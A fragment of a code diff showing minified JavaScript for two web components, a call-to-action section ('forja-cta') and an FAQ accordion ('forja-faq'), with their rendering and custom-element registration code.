action")},s("slot",{key:"3bc2dd9fef3b945a095b0a23ea4df2d3199ab521",name:"before"}),this.imageUrl&&s("img",{key:"2b46a5a039cba9d7d5aee6f7048616017eeab6fc",src:this.imageUrl,alt:this.imageAlt||"",class:"forja-cta__image",loading:"lazy"}),s("div",{key:"620561f04fb24781f77bec5b06a73fb9d74d807b",class:"forja-cta__content"},this.sectionTitle&&s("h2",{key:"4863015db9f2c9325db40cab71f6c2642254b2e8",class:"forja-cta__title"},this.sectionTitle),this.text&&s("div",{key:"f4b2961cdea83ef5e1172a37e32ff6622fa7e1d9",class:"forja-cta__text",innerHTML:c(this.text)}),this.buttonText&&this.buttonHref&&s("a",{key:"b816ed6ac43b25d3aca0b43443820be66068223b",href:this.buttonHref,class:"forja-cta__button"},this.buttonText)),s("slot",{key:"f7e68d935cb95eb58ecb5257a2f17518ff2f8795",name:"after"}))}},[260,"forja-cta",{sectionTitle:[1,"section-title"],text:[1],buttonText:[1,"button-text"],buttonHref:[1,"button-href"],imageUrl:[1,"image-url"],imageAlt:[1,"image-alt"]}]);function i(){"undefined"!=typeof customElements&&["forja-cta"].forEach((e=>{"forja-cta"===e&&(customElements.get(t(e))||customElements.define(t(e),o))}))}i();const b=o,r=i;export{b as ForjaCta,r as defineCustomElement}
|
|
@@ -1 +1 @@
|
|
|
1
|
-
import{t as
|
|
1
|
+
import{t as s,p as e,H as a,h as t}from"./p-B8rQMNWH.js";import{s as f}from"./p-D6KWgfCs.js";import{s as c}from"./p-CTbyYfdB.js";const o=e(class extends a{constructor(s){super(),!1!==s&&this.__registerHost()}render(){const s=this.items&&this.items.length>0;return t("section",{key:"7b764cc09100c6aec6446f953780c2d2ce597c65",class:"forja-faq","aria-label":c(this.sectionTitle,"Frequently asked questions")},t("slot",{key:"39f9f402e657baa03dbf535ca1fd760838e52dd9",name:"before"}),this.sectionTitle&&t("h2",{key:"b83043007df5d58c721c53ad3886d6c12dc0c374",class:"forja-faq__title"},this.sectionTitle),this.text&&t("div",{key:"f6096729170e283558da9bf9f19a195e89cc1f15",class:"forja-faq__text",innerHTML:f(this.text)}),t("div",{class:"forja-faq__list"},s?this.items.map((s=>t("details",{class:"forja-faq__item"},t("summary",{class:"forja-faq__question"},s.question),t("div",{class:"forja-faq__answer",innerHTML:f(s.answer)})))):t("slot",null)),t("slot",{key:"9df2a977d2135c0ccfd2df23a8be442a6e711cb2",name:"after"}))}},[260,"forja-faq",{sectionTitle:[1,"section-title"],text:[1],items:[16]}]);function r(){"undefined"!=typeof customElements&&["forja-faq"].forEach((e=>{"forja-faq"===e&&(customElements.get(s(e))||customElements.define(s(e),o))}))}r();const i=o,n=r;export{i as ForjaFaq,n as defineCustomElement}
|